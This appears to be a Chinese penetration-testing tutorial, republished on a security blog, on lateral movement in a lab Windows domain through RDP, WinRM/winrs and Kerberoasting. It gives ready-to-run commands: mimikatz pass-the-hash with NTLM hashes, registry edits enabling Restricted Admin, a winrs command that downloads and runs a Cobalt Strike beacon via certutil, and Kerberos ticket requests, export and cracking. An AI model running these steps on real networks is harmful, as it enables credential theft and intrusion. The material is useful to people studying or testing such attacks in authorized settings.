内网渗透之横向移动rdp&winrm&winrs&spn&kerberos

admin 2024年4月29日11:48:53评论4 views字数 3124阅读10分24秒阅读模式

0x00 准备

环境:god.org
cs上线 win2008web
提权利用ms14-058
抓取hash和明文密码(当获取到其他主机就重复提权和抓取密码)
扫描存活主机,扫描端口
代理转发-转发上线,生成反向连接木马,绑定监听器,上传至web根目录(方便其他主机下载执行后门)
开启socks代理
配置全局代理工具(注意代理服务器是cs服务端ip,而不是cs上线主机ip)

0x01横向移动rdp

rdp可以明文也可以hash连接
不出网机器连接rdp方式:

  • 直接进行vnc桌面交互再去利用mstsc连接其他主机

  • 开启socks代理,mstsc连接

  • 端口转发,建立隧道,将端口转发出来

1.探测服务是否开启
在cs中主要执行的命令前面要加shell
命令:

tasklist /svc | find "TermService"   # 找到对应服务进程的PIDnetstat -ano | find "PID值"            # 找到进程对应的端口号

注册表查询:

REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections 

端口探测:
cs内置端口扫描3389
2.crackmapexec
可以使用此工具探测hash和密码与用户民匹配是否正确

3.利用:
(1)明文连接

cmdmstsc /console /v:192.168.3.32 /admin

或使用直接使用mstsc图形化工具连接
内网渗透之横向移动rdp&winrm&winrs&spn&kerberos(2)使用mimikatz进行hash连接:
使用mimikatz会在windows中弹出一个窗口,输入ip,会默认使用这个hash
进行登录

利用条件:
需要计算机开启Restricted Admin Mode,都需要开启即进行横向移动的主机(要攻击的主机)和受控主机(cs上线)
win8和win2012 默认开启
如何开启

HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsa
新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭
对应命令行开启的命令如下:
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

hash连接

本地用户
mimikatz privilege::debugmimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"
域用户
mimikatz privilege::debugmimikatz sekurlsa::pth /user:god/administrator /domain:god /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

注意有些计算机可能不支持restrictedadmin,弹出以下窗口
内网渗透之横向移动rdp&winrm&winrs&spn&kerberos

成功:
内网渗透之横向移动rdp&winrm&winrs&spn&kerberos

0x02 横向移动winrm&winrs

winrm代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。winrs是一种客户端
利用条件:
双方都启用winrm rs的服务,不支持hash
使用此服务需要管理员级别凭据

Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;
Windows 2012之后的版本默认允许远程任意主机来管理。

如何开启

winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts="*"}

1.探测服务开启状态
powershell探测

powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

端口扫描
cs内置端口扫描5985

2.利用:
(1)winrs命令

执行命令
域用户
winrs -r:192.168.3.32 -u:godadministrator -p:admin!@#45 whoami本地用户:winrs -r:192.168.3.21 -u:192.168.3.21administrator -p:Admin12345 whoami上线cswinrs -r:192.168.3.32 -u:192.168.3.32administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe beacon.exe && beacon.exe"

内网渗透之横向移动rdp&winrm&winrs&spn&kerberos
(2)cs内置插件
winrm
视图-目录列表-选中要进行攻击的主机-横向移动-选中winrm-填入用户名和密码-选择监听器-选则会话-运行
成功:
内网渗透之横向移动rdp&winrm&winrs&spn&kerberos

0x03 横向移动 spn&kerberos

环境:
0day.org
主要利用的就是破解票据里的密码,当pth,ptt用不了时,可以考虑kerberos攻击
Kerberos利用条件:
采用rc4加密类型票据
工具
Rubeus 检测票据加密方式
kerberoast-master 破解票据
spn是一种探测域中有些服务的协议
内网渗透之横向移动rdp&winrm&winrs&spn&kerberos

1.检测可以用的服务
命令检测,或者不加powershell

powershell setspn -T 0day.org -q */*powershell setspn -T 0day.org -q */* | findstr "MSSQL"

工具检测直接找出可利用的服务

Rubeus kerberoast

内网渗透之横向移动rdp&winrm&winrs&spn&kerberos
2.利用:

清空票据
kilst purge
请求:(要产生票据文件),选一个服务,查看是否是rc4加密
powershell Add-Type -AssemblyName System.IdentityModelpowershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
或mimakatz请求
mimikatz kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
导出:
mimikatz kerberos::list /export
破解:
python  tgsrepcrack.py pass.txt "1-40a00000-Administrator@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"

内网渗透之横向移动rdp&winrm&winrs&spn&kerberos

公众号技术文章仅供诸位网络安全工程师对自己所管辖的网站、服务器、网络进行检测或维护时参考用,公众号的检测工具仅供各大安全公司的安全测试员安全测试使用。未经允许请勿利用文章里的技术资料对任何外部计算机系统进行入侵攻击,公众号的各类工具均不得用于任何非授权形式的安全测试。公众号仅提供技术交流,不对任何成员利用技术文章或者检测工具造成任何理论上的或实际上的损失承担责任。

原文始发于微信公众号(TKing的安全圈):内网渗透之横向移动rdp&winrm&winrs&spn&kerberos

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月29日11:48:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透之横向移动rdp&winrm&winrs&spn&kerberoshttp://cn-sec.com/archives/2697627.html

发表评论

匿名网友 填写信息